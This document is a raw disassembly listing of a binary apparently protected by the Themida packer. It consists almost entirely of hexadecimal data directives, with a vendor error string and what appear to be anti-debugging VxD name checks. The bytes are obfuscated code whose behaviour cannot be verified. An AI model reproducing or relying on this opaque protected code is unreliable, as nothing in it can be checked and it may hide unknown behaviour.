		dd 34000000h, 7CC996D7h, 0F9306F92h, 607281E4h,	79CEDC89h
		dd 8C36F549h, 686DCCEDh, 1316E80Ch, 6DCCEDAFh, 0F507EB47h
		dd 8C36F50Bh, 686DCCEDh, 2734EF0Ch, 0BF67FC81h,	1CD28963h
		dd 0C8936DE1h, 0D301E623h, 4AF7844Ch, 1FC3906Dh, 9B4F0AE4h
		dd 269B8B60h, 4C324C8Fh, 6205D78Dh, 0D1554125h,	11D30FFCh
		dd 0F7739E0Bh, 0D8D5E8E5h, 0CC8FFD8Ah, 4D29DD14h, 0AD2C5429h
		dd 300ABEF9h, 0ADCA05A9h, 51458026h, 74865564h,	266B26B5h
		dd 48AD9E94h, 0F76213E2h, 411DDDFAh, 0E85A512Fh, 0C800653h
		dd 96253B10h, 2C6B1DEDh, 0D4C0F7ADh, 41B87450h,	0EFE8558Ah
		dd 0CF5E2FE1h, 792CED7h, 7A70000h, 0DB9108C4h, 0FCB128A4h
		dd 0DB9007C3h, 0F9AB2A9Eh, 0FC08FEBAh, 1F9BDA8Eh, 0F8B4F598h
		dd 1692CD81h, 0F7B3E89Fh, 0C1812814h, 256BDF13h, 7932FCC8h
		dd 5BDE5044h, 0AE5D6FA4h, 6DCC7C14h, 0DC5774F0h, 4502EE23h
		dd 803B9F36h, 164FF6C8h, 36EA066Ah, 35790D3Ah, 0E5197BE2h
		dd 5F944B08h, 94DD30EBh, 3CBD336Ah, 0F000000h, 4C1EBD5Ch
		dd 0E55D4C32h, 16DCC7Ch, 0C65B4825h, 0BE67FC1Fh, 46B30D8Dh
		dd 0E0FD756Bh, 0D8523E1Ah, 0CC598FF3h, 4825F03Fh, 237FE35Bh
		dd 0D2710294h, 7C32D617h, 3AB639h, 5C140000h, 5D4C1EBDh
		dd 67FC2A40h, 770E025Eh, 981F9BD0h, 956B1FEFh, 65C1B5F2h
		dd 0B5919581h, 7C7E6FC1h, 7C6FE328h, 6E85D8F5h,	30E419D2h
		dd 4B3E1034h, 9E13B75Eh, 0BA500C68h, 0A62DB415h, 0D86A213Fh
		dd 3C6DCC7Ch, 7C8939E0h, 0F16D6DCCh, 9310FBD5h,	3367FC20h
		dd 0F7ABE69Ch, 18AA617Bh, 0FC9423A0h, 0DA814420h, 55B91D97h
		dd 904F8392h, 9373C77Bh, 56973AF1h, 0D0AAC6AAh,	34762BAEh
		dd 0E92BBE30h, 86637F77h, 85D9C89Dh, 26DA565Eh,	0CFA13AD9h
		dd 4318590Ch, 82A66E1Dh, 25E5495h, 0A24316E8h, 18CF8C61h
		dd 6843EEDh, 4604095h, 6833FEAh, 7634095h, 738D6FEBh, 95060AB8h
		dd 596EEA40h, 47F429E2h, 9EBCB454h, 1D5B4C58h, 32000006h
		dd 0FA813D80h, 189F1B52h, 0F5843871h, 22991552h, 8D7B2F6Eh
		dd 22610371h, 3D7E2FA6h, 1954FA81h, 386D16A5h, 0F4B78984h
		dd 6BDF0D4Eh, 328349A6h, 39504479h, 82DF5B94h, 68966873h
		dd 7C2F9396h, 6BC76DCCh, 9FD34ECh, 8F53502Dh, 2767FBD2h
		dd 8940574Bh, 64FEEB50h, 0DEB64A09h, 5BBF5h, 0DB1ED000h
		dd 0F930D85Fh, 0D60FB645h, 0F330D362h, 0CD0CC037h, 7DEF1B11h
		dd 49D08CCBh, 64F367A8h, 50C783BEh, 3E66297h, 0DB012F9h
		dd 57546BDFh, 83BD5CCDh, 0ADBFA3E0h, 0FBD220FEh, 0B460BC67h
		dd 92377015h, 4A09646Fh, 6D821303h, 82000005h, 4AD18DD0h
		dd 68EF6BA2h, 45D488C1h, 72E965A2h, 0DDCB7FBEh,	529133A1h
		dd 6DAE5FD6h, 89C46AF1h, 689D46D5h, 407F9F4h, 6BDF0DBEh
		dd 0D7D35956h, 7C2F5C04h, 6DCC7CC6h, 721E421Eh,	7CB111F8h
		dd 0D9556DCCh, 767DE0FDh, 0FC628B65h, 0E827C981h, 8E46003h
		dd 0CC1E0DF3h, 5867FBEEh, 56C509D3h, 0C9ADEEBBh, 427F24B7h
		dd 0AB627925h, 9CB4C572h, 0D0C44A09h, 4F3C7h, 23660800h
		dd 417830A7h, 1E570E8Dh, 3B782BAAh, 1554F87Fh, 2557B399h
		dd 11884483h, 2CAB1F60h, 0F87F3B76h, 0AB9E1A4Fh, 0E68DAD1h
		dd 0F8C6BDFh, 44793285h, 5D923950h, 16AD16A9h, 0A723580Fh
		dd 4E427730h, 0CC7CBE07h, 861D646Dh, 0F7B3E89Fh, 0DE92C780h
		dd 0BA7040E7h, 0B38F937Fh, 0D00BAAF7h, 112E0BFEh, 23B667FCh
		dd 452F3C7Eh, 0DAA4862Ch, 4521E1F6h, 59BC0A51h,	0DC919423h
		dd 33D8EFA3h, 0BB1D0AF6h, 0AFE0A4E8h, 801FD284h, 99384B3Ch
		dd 7B67915Ch, 953A0139h, 0F02FE158h, 5F75DBh, 5CD70000h
		dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 4601453h, 0D67037E7h
		dd 67943C7Ch, 299990C5h, 0CD943C7Ch, 9C817551h,	1B54F207h
		dd 0E48A4189h, 361A5B0Eh, 8939F04Ah, 6D943CC7h,	2EC55EF1h
		dd 23C2F1A2h, 7A7AEBC6h, 86855B39h, 943CD33Ch, 87825CD8h
		dd 943CD33Bh, 66A7FDBh,	0EBh, 44793244h, 58973950h, 41762DACh
		dd 588D3655h, 0DE25E4h,	68966DCCh, 338001C1h, 0D289E592h
		dd 510ADF1Eh, 758B659Ah, 33800CB6h, 6F8CE892h, 0A14615E7h
		dd 13CC8764h, 36BD32DEh, 5810CBA5h, 75344C21h, 9803F3B4h
		dd 0E75B4E30h, 0FF942395h, 0C100A423h, 0BE7AF6ACh, 77895261h
		dd 155D86B4h, 0E8025E9Eh, 6E80BF71h, 6FA39EBh, 12894D2Ah
		dd 0C082295Eh, 0EF9E114Ch, 0B30BE754h, 7DF9A96Ah, 7A91F459h
		dd 91D4038h, 367A0h, 87CA7C00h,	659C44D3h, 82BB72E9h, 5F9C4FC6h
		dd 79B86CEBh, 49BBC7C5h, 65F468A7h, 50C783C4h, 6CEB5F9Ah
		dd 0DFCA7EB3h, 0F942EDDh, 73706BDFh, 5B04D7A9h,	0E1F67A26h
		dd 0BA81B65Ah, 472BD716h, 0CC7CE260h, 0AF26026Dh, 2A9EC2F9h
		dd 0BBFF4ABh, 0C607AA31h, 0F90D4DDAh, 0C59BA346h, 5C00CCA1h
		dd 8D4C1EBDh, 255E03D9h, 0FCD15541h, 7C0C25E4h,	0E0A67FCh
		dd 9D510862h, 209E8562h, 0C3942383h, 0F9D411B0h, 0D9397B36h
		dd 0ACh, 44793233h, 0ED55542Ah,	96DCC7Ch, 0DC4E502Dh, 5C71A65Dh
		dd 2EE2DDFh, 0CC00AC53h, 93C87F6Dh, 0B2E7A017h,	0F9E2F1BEh
		dd 0F3E724E7h, 0C39F9803h, 0CA1BBA07h, 239563DFh, 30A78394h
		dd 0D1554178h, 0FB30DBF5h, 8B9E1558h, 0BDA3BD8Fh, 114874CEh
		dd 0B794909Eh, 550948FCh, 76E322C6h, 4038FA31h,	751C8D99h
		dd 8A000002h, 0B229A5E8h, 9007C3FAh, 0AD2CA0D9h, 7A01BDFAh
		dd 252397D6h, 0BAF9ABD9h, 95D677FEh, 0B1ECA219h, 90C57EFDh
		dd 5C4F311Ch, 6BDF08E6h, 0D71BA1FEh, 43071C96h,	0D289E2D3h
		dd 5209DE1Fh, 6CEB5F9Eh, 3CCA7EB3h, 50447932h, 0B90900DEh
		dd 966DCC7Ch, 66CAB6EFh, 7DC5C4B6h, 996DCC7Ch, 17A4B99Dh
		dd 3F213B70h, 0CC7CF64Ch, 0D4770E6Dh, 6B87EB97h, 5C7BC88Eh
		dd 25BE6D7Fh, 0C167FC1Fh, 5CEAB165h, 0BF9423A1h, 45886D04h
		dd 25397B4Dh, 2Ah, 1EBD5C67h, 20CC5D4Ch, 7EDA67FCh, 2B97926Ch
		dd 0CB9423A1h, 0DD8C7A4Fh, 9423A161h, 9550EF84h, 397B593Ch
		dd 431Ch, 45026E00h, 46DCC7Ch, 599A4BF5h, 31D8637Dh, 53280CF8h
		dd 8757E2Dh, 0EC6F67FCh, 280CF839h, 8F384F53h, 0A6CAA65Ah
		dd 48364832h, 2388E161h, 82290594h, 942388C0h, 88BB0702h
		dd 0FF5B9423h, 6E36130Fh, 4C1EBD5Ch, 7CCB7732h,	2F2B6DCCh
		dd 0E243461Ah, 1C67FC1Eh, 0B9055440h, 5C9423A2h, 0A46D8827h
		dd 14397B4Bh, 0B064A345h, 233197B4h, 9B000000h,	0CC7C4402h
		dd 0E7F4036Dh, 81D1615h, 0BDB967FCh, 7085AAA3h,	0E6206DD6h
		dd 0DF0CA05Ch, 81567006h, 0BD5C2FBDh, 7CC18128h, 0A55E6DCCh
		dd 0F0A08470h, 13AF5A74h, 0F36DCC7Ch, 8A815B77h, 67FBD228h
		dd 0DB5E70ECh, 0BC3BEF24h, 0CD22CE03h, 1A53FA46h, 7FBC6F66h
		dd 29BB7663h, 0A726C1A4h, 0DDFAB1CBh, 179E178Eh, 13784CD6h
		dd 21981DD0h, 0E440346Bh, 45171307h, 0FC46451Bh, 189E1535h
		dd 0CB743F1Ch, 0EC932296h, 0DFF6CBB7h, 8074AB61h, 0D0AEC0A4h
		dd 52276809h, 254C6459h, 41A68294h, 5E2C8EF6h, 0A1594A5Ah
		dd 0B6000000h, 0DE5DD114h, 0BC3BEF26h, 8910CC05h, 0A635A9E6h
		dd 2107C302h, 96D577E5h, 0B1F29322h, 8DC87EFDh,	6CA14AD1h
		dd 803FDF0h, 6BDF0ABAh,	5CB77D5Ah, 324C1EBDh, 0CC7CCB77h
		dd 4122F66Dh, 93EAC939h, 966A7FDBh, 0FBEFB693h,	20D45067h
		dd 11CD02A9h
		dd 0F8ACE18Ah, 8EDA2B1h, 8322812Ah, 0F8B4E9A2h,	0E195CA81h
		dd 1C0845EAh, 0D958F78Ah, 71AC6232h, 9C5A185h, 6309D992h
		dd 0D8FC782Ch, 1EBB2Ch,	0F6C50000h, 6B41164Fh, 4002A9D7h
		dd 0A46DCC7Ch, 1B55B3C8h, 5B12ECA0h, 0CEF26E22h, 0A3293E22h
		dd 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh, 533F7E32h
		dd 0A5519034h, 50448126h, 0A75B9439h, 55417830h, 0E08950CFh
		dd 405h, 4E88300h, 8B240487h, 3F682424h, 8900005Ah, 8956242Ch
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 240C895Ch, 661CBF57h
		dd 0E7D1152Ah, 8103EFC1h, 0DF68CBC7h, 31EF8141h, 81757B34h
		dd 648986C7h, 5FFD8934h, 240C8B54h, 6804C483h, 3CE8h, 0BA241489h
		dd 8, 2A89CA01h, 240C8B5Ah, 5E08950h, 4, 8704C083h, 0FF5C2404h
		dd 815D2434h, 4C4h, 8A2E900h, 0F228FFFDh, 3B09EEFDh, 0D810C084h
		dd 0B8C40807h, 6137742h, 0E0FFC503h, 1977D8BCh,	3ACA48A5h
		dd 72FA8E86h, 0FF62229h, 7F4DE4F0h, 7880D9D0h, 6E8h, 0DFBF8D00h
		dd 0B7ACE145h, 0C2815AD3h, 7588h, 0EE9h, 228E6100h, 75FCFA3h
		dd 0DCF15F69h, 0BEA23ED0h, 3640242Ch, 391BF681h, 85B53640h
		dd 0E95832FFh, 11h, 0B5AB483h, 9B208348h, 0AD092846h, 463877F4h
		dd 35F0817Fh, 810724C8h, 37C27AF0h, 3800F46h, 66000000h
		dd 0E881CF8Bh, 92D91F6h, 11E9h,	0A65F2800h, 0C8ED8D9Fh
		dd 0D5C55174h, 975B86E7h, 665074DDh, 28FFA8Bh, 68D0Fh
		dd 8E0F0000h, 0
		dd 0F04EA83h, 148Eh, 0FE900h, 77040000h, 0A72ACF48h, 2A763F0Ch
		dd 0E02E8848h, 850F4E56h, 0FFFFFF80h, 4934EBF9h, 474D5346h
		dd 56202052h, 2020444Bh, 56202020h, 20204D4Dh, 56202020h
		dd 334E4957h, 56202032h, 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 7E6h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0B2C35040h, 6060E33Dh, 0F2BACF8Ah, 615B0050h
		dd 0D885C7F5h, 61378h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 2976C355h
		dd 600BBD40h, 5E860h, 0AF750000h, 5E3A870Ch, 8E9h, 0F729B700h
		dd 6EDDE124h, 6CB9617Bh, 61673261h, 6AC68Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0D826DCC3h
		dd 0B8A0FCDh, 60000000h, 0CC49BE66h, 8FC88166h,	0B70F61B0h
		dd 18B0FD8h, 0F8000000h, 6A10E8C1h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A93EC357h
		dd 0F1068BE9h, 8D0FC345h, 7, 1850Fh, 66F90000h,	0F808C8C1h
		dd 78DC8589h, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0C61ABEC3h, 0F468678h, 188h, 0C166F500h
		dd 6A08CBh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 60BF2BC3h, 0C2B70F53h, 63BB665Bh,	0FB836167h
		dd 31850F40h, 0E9000000h, 0Bh, 60C5DAC1h, 0BB2858F4h, 8D5467DAh
		dd 1378B0BDh, 8B0F6006h, 3, 0FD0B70Fh, 48Bh, 0DABA6600h
		dd 0B3E961B6h, 0F9000001h, 0F0DFB83h, 3185h, 2860F00h
		dd 60000000h, 0B8BD8D61h, 0F061378h, 182h, 8FE9FC00h, 0F000001h
		dd 685h, 80FC6000h, 0E96157D8h,	6, 0C7748646h, 0FB83727Bh
		dd 0A7850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0CE57C356h,	0A7EA2990h
		dd 67C8264Ch, 78B0Fh, 8F0F0000h, 1, 0C0BD8DF8h,	6A061378h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 2C12C350h, 383432EFh, 9E9h, 97312200h, 87A43C23h
		dd 13E924C2h, 0F0000000h, 7E7E4CDFh, 74E9B8h, 0BDBA0576h
		dd 14102CCDh, 0EBE99E53h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0CB95C350h
		dd 0ECF67B0Bh, 0FB83F845h, 60850F2Ah, 0F000000h, 0B8Ah
		dd 6E900h, 0B2410000h, 367B4BB4h, 78C8BD8Dh, 8C0F0613h
		dd 0Eh,	820F60h, 0F000000h, 8Ah, 8FE96100h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 1214C356h, 28957727h, 8E92B8Eh, 76000000h
		dd 0A3462486h, 83541493h, 850F27FBh, 38Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 19C35545h, 7E9C8h
		dd 50C60000h, 0C14E3789h, 11E932h, 0E5470000h, 0A55F7D87h
		dd 622F02C7h, 87048AA1h, 8D89C962h, 1378D0BDh, 0CE906h
		dd 9BBC0000h, 0F241562h, 2832BB00h, 0BD8910B5h,	61378E0h
		dd 9E9h, 2DAA3400h, 15F935E5h, 8C66AFE9h, 0CB8160C8h, 551A2137h
		dd 11E9h, 7F5700h, 0B105074Bh, 0F46A2D21h, 0AAF4FADAh
		dd 24617E6Dh, 51006A03h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8C0F6A1Eh, 5, 94D68060h, 7E9F861h
		dd 0E8000000h, 5EC5C0BFh, 0C00AAC49h, 220850Fh,	850F0000h
		dd 10h,	0BE9h, 9B08E400h, 0A1459FEEh, 4647A7CBh, 7FA0B58Dh
		dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 49FC84C3h, 0F8D0C6C2h, 14E952h, 0A7160000h
		dd 84401AE8h, 9C4530B7h, 0FE6D2A5Dh, 44003263h,	0F60B5DCh
		dd 38Eh, 0D0BF0F00h, 858B61F8h,	613804Ch, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 0B3C35646h, 9E666597h
		dd 537C643h, 13E9h, 6A70A500h, 24355E59h, 4363C5AFh, 0BD71D075h
		dd 3552EA32h, 0C830F92h, 0E9000000h, 7,	0C2E2C11Eh, 50F3E0B1h
		dd 0EE9h, 0B6660D00h, 5D36C0BAh, 7B539F8Ch, 9241937Eh
		dd 18810Fh, 13E90000h, 74000000h, 7011E0DFh, 4AB55AA6h
		dd 5297EA39h, 0CB9E5EC0h, 10F709Ah, 60FE244Ch, 1850Fh
		dd 80F50000h, 606133EFh, 6830Fh, 8D0F0000h, 0
		dd 6A5A61h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 99616AC3h, 58C6FA3Ch, 860F12BAh, 12h, 5E960h
		dd 823E0000h, 817B8F0Eh, 8648D0E1h, 9E96144h, 0E5000000h
		dd 0FDD74CE6h, 9EB293A1h, 0F24C283h, 0F89h, 0AE900h, 7AF10000h
		dd 57009B6Ah, 219A183h,	0FC728966h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 8C35242h, 168EEDA3h, 9DADE8D0h
		dd 10CEC1F8h, 7E9h, 0E1966300h,	2A8E795Fh, 2728966h, 0D890Fh
		dd 8E90000h, 0CD000000h, 9F6A0612h, 0CDB0B461h,	51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0C80E45EAh, 0BE9065Fh, 0B8000000h, 9C990151h, 6B259D51h
		dd 11E96D26h, 0CF000000h, 0FEBAACAEh, 0CD804892h, 0C065C51h
		dd 49C127CCh, 18C0Fh, 0E9F80000h, 99h, 9E9h, 56E6CF00h
		dd 0AD22A8A7h, 858B0A9Fh, 613804Ch, 0C810Fh, 880F0000h
		dd 6, 8C0Fh, 0B58D0000h, 6137FA0h, 6870Fh, 66600000h, 6114F0BFh
		dd 54E6858Dh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0E99CB8C3h, 8, 0B95B6032h, 571E30AAh
		dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 676EF1C3h, 0FE39028h, 782h, 18B0F00h, 0FC000000h
		dd 0D88589FCh, 60061378h, 6800Fh, 0EF810000h, 6F480333h
		dd 0DAEBFFBBh, 6A61617Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0FBE6C350h,	858BF831h
		dd 61378D8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	24C35545h, 0F0421122h, 0B378C933h, 0A9E68060h
		dd 60F8C361h, 9E9h, 0C4518500h,	0E1152109h, 0BD83599Ch
		dd 613804Ch, 72850F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 9B63C350h
		dd 238AE67Bh, 85C79C41h, 613804Ch, 1013Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FDC35242h, 30B62CEBh
		dd 786264CAh, 13820F62h, 0E9000000h, 0Eh, 910E2CA3h, 0BC936BA0h
		dd 750647E7h, 8E0F0F45h, 1, 17E9FCh, 12E90000h,	0D2000000h
		dd 1965609Ch, 480A62CEh, 537775E8h, 88F3C493h, 20CD13h
		dd 0B000000h, 8D3774C0h, 0BD8B0C70h, 61378E0h, 8B9h, 2275A600h
		dd 8BFA7549h, 9D8B3048h, 61378DCh, 7F34583Bh, 6BD38B15h
		dd 0CA0304D2h, 8589018Bh, 61378D8h, 8B04EBh, 8B61C5EBh
		dd 1378D885h, 0B760CF06h, 0DF816693h, 6A617788h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 3783C355h, 11E9h, 6DB19900h,	890B0153h, 0EEFDF228h
		dd 0C0843B09h, 0C08BD810h, 0FE8h, 0B3515A00h, 0DFD4D92Eh
		dd 0ED3C3A80h, 842DE3A1h, 0B966575Eh, 815B02D5h, 5B9CC6h
		dd 45BB6600h, 16C8BF61h, 81660000h, 0FFB429EBh,	5841B536h
		dd 81DF8B66h, 65F8BCE8h, 810AB623h, 0A0A845E8h,	0D98B665Fh
		dd 48A0E881h, 0D88B18C4h, 96BA0689h, 83603B90h,	0B70F04EEh
		dd 850F4FDAh, 14h, 58256BBAh, 17E90Dh, 5C4C0000h, 0B311F533h
		dd 5173716Eh, 0FFFFB2E9h, 15B111FFh, 9B94871h, 400E98Ch
		dd 0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset loc_55FFFD+3
		dd offset dword_445750+0A8B0h
		dd 0
		dd 0D8E90000h, 6A000011h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 6F13C352h, 65B58922h
		dd 89061011h, 10228DBDh
		db 6
byte_5839F5	db 8Bh,	85h, 61h	; DATA XREF: Themida_:0054D5BCo
		dd 6A06102Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 4F7EC353h, 1810Fh, 89FC0000h
		dd 10348DBDh, 24443906h, 8E850F04h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 431C350h, 2DC31C24h,	0C43629E4h, 0E5BD83F9h,	61022h
		dd 5B840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 170424h, 55450000h, 53C6D7C3h, 95958930h, 8D061023h
		dd 103A3285h, 0BE666006h, 0BD29343Bh, 610141Dh,	6AE0FF61h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 3B76C351h, 0D27832EBh, 0E5858B99h, 6A061020h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 80CDC357h, 1840Fh, 0FCF90000h, 1C9DBD29h
		dd 44390610h, 850F0424h, 30h, 10E19589h, 8F0F0610h, 6
		dd 19DD8D89h, 85C70610h, 6138557h, 1, 0FE9h, 5D36C000h
		dd 7B539F8Ch, 6C41937Eh, 0CA57412Ch, 0BE9F860h,	89000000h
		dd 1000E9BDh, 0F906h, 1B80000h,	87000000h, 1386CB85h, 75C00B06h
		dd 0E5B5FFF6h, 8F061023h, 13854F85h, 6A206A06h,	0B995FFFFh
		dd 83061006h, 102D79BDh, 8740006h, 95FF006Ah, 61031C9h
		dd 2969BD83h, 74010610h, 80680Dh, 0FF6A0000h, 6B995FFh
		dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 12E7E1C3h, 830F9528h, 1, 0E18D01F9h, 6A061018h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 706DC357h, 9D2B6022h, 6101C45h, 1C02B61h
		dd 1031C18Dh, 24548B06h, 0E99D0928h, 8906101Eh,	10147585h
		dd 0ADB53106h, 0BE06100Fh, 3Ch,	21E5BD09h, 74030610h, 6A2424h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 2F6977C3h, 893316C3h, 101CF9BDh, 6AAD6606h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 3BF3C350h, 15FA05B6h, 7218501h, 3FC0610h, 6A242444h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0EF1DC355h, 0B4B3B77Dh, 60F5600Ah, 0F1B589h
		dd 33BF0610h, 61182CD5h, 52505061h, 108E0Fh, 0BE90000h
		dd 0F2000000h, 0EA53200Bh, 1BA9B049h, 310F0C6Bh, 8E9h
		dd 42F14D00h, 0E9EE9D90h, 89585A12h, 8BF82404h,	95297840h
		dd 61029A5h, 8557BD83h,	0F000613h, 13185h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 90F90587h, 1E8F0Fh, 0E8600000h, 14h,	0E2E95E65h, 8DC6E95Ah
		dd 311E82AEh, 87FF5DBBh, 0F3D4DDB7h, 61C78B5Bh,	0F525050h
		dd 289h, 0F616000h, 60525031h, 60310F61h, 5A585A61h, 850F9058h
		dd 16h,	9E960h,	46290000h, 345BED1Eh, 0F184B23h, 81h, 448B6100h
		dd 6A2C24h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 892F25C3h, 102D0195h, 69B52906h, 90061004h
		dd 108C0Fh, 850F0000h, 0Ah, 5E9h, 0A9CDE800h, 6050855Eh
		dd 14E860h, 0E20E0000h,	9D1F4D19h, 56116E93h, 0D1F01068h
		dd 2004BDBBh, 665E5B12h, 6162FFB8h, 0AE9h, 55157D00h, 2C4B2726h
		dd 615B3616h, 518D0190h, 8D061029h, 134F6A85h, 7E906h
		dd 84920000h, 46CE7579h, 6AD0FF25h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0CF0BC356h
		dd 92AC46D7h, 2AE1BD09h, 44030610h, 6A2824h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 624D5AC3h
		dd 901B531h, 408B0610h,	0DE96018h, 67000000h, 1F71C222h
		dd 70556791h, 39F28C3Ah, 51E5BF66h, 0E5B58961h,	40061014h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 51C35343h
		dd 952B6060h, 6102A81h,	61F18B66h, 85538589h, 6A0613h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0FCA228C3h, 5BFB004Fh, 58DDBDCAh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 67C35141h, 78708BEDh, 0ED9D2960h
		dd 8B061016h, 100E9DBDh, 13E96106h, 6C000000h, 0E72E9913h
		dd 79EC8A99h, 0DD3B30CDh, 8C565DB0h, 0C683FFCEh, 0F96F81Ch
		dd 1386h, 0EE900h, 0A2500000h, 9131C54h, 1CC19056h, 12B8010Eh
		dd 24247C81h, 10000000h, 0C2870Fh, 90F50000h, 0DE960h
		dd 6F230000h, 48CBB432h, 6F82B9C3h, 61D11A7Bh, 60525050h
		dd 0F6129B7h, 0F525031h, 8Eh, 0F310F00h, 82h, 5A585A00h
		dd 8D099058h, 6100CA9h,	2824448Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 6CC35343h, 58F8267Ch, 0F1F3CACh
		dd 0C82h, 6880F00h, 9000000h, 10092595h, 85896006h, 6103341h
		dd 5061E0B4h, 0CE9h, 0F2E70100h, 88522FF2h, 6D85E878h
		dd 240489DFh, 59D8B60h,	0F061019h, 86h,	858D6100h, 6134F6Ah
		dd 9E9h, 199A0A00h, 0DB60B255h,	0D0FF296Eh, 6880Fh, 95310000h
		dd 61006CDh, 810F6096h,	3, 61D9B70Fh, 24247403h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 49C35242h, 60021E75h
		dd 10E94Bh, 61D0000h, 653E1D23h, 65AEE617h, 95C81447h
		dd 880F9F83h, 18h, 13E9h, 0A3FBE800h, 938AB676h, 38CF26ADh
		dd 4F5B9EEEh, 0CC70D769h, 20B5BD8Dh, 6A0610h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 93FA93C3h
		dd 0BFD2AE1Dh, 6AAD0Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F81FAC3h, 0C87h, 6860F00h, 0F000000h
		dd 8Ah,	247C8100h, 24h,	0DC870F10h, 0F000000h, 168Ah, 11E900h
		dd 12EF0000h, 0BF357B60h, 0D3EA1D77h, 0D622B3A5h, 90789C4Ah
		dd 8E9h, 0E4BF900h, 169E4336h, 0E8605020h, 0Fh,	8CE5F80h
		dd 8332ECD5h, 0E63EAC12h, 0BFA227D7h, 6ED69A16h, 0BE95Fh
		dd 2EBF0000h, 0B3012BEDh, 0A7876F5Eh, 609061C3h, 130DB589h
		dd 8B660610h, 448B61CEh, 7E92824h, 39000000h, 7F5A10D2h
		dd 6050282Dh, 13E9h, 24643400h,	0E480E9FCh, 96A0C692h
		dd 0AA903950h, 2724EDD1h, 59616056h, 24048961h,	8860Fh
		dd 830F0000h, 2, 858D6160h, 6134F6Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0D7C35242h,	0BD8B60CCh, 61015CDh
		dd 10E19D8Bh, 0FF610610h, 8D9D89D0h, 3061034h, 6A242444h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0D31EC356h, 5425BC19h, 0AB3C8A49h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 65C35545h, 4D5ACE41h
		dd 0FA810762h, 10000h, 7AA820Fh, 870F0000h, 8, 28E0Fh
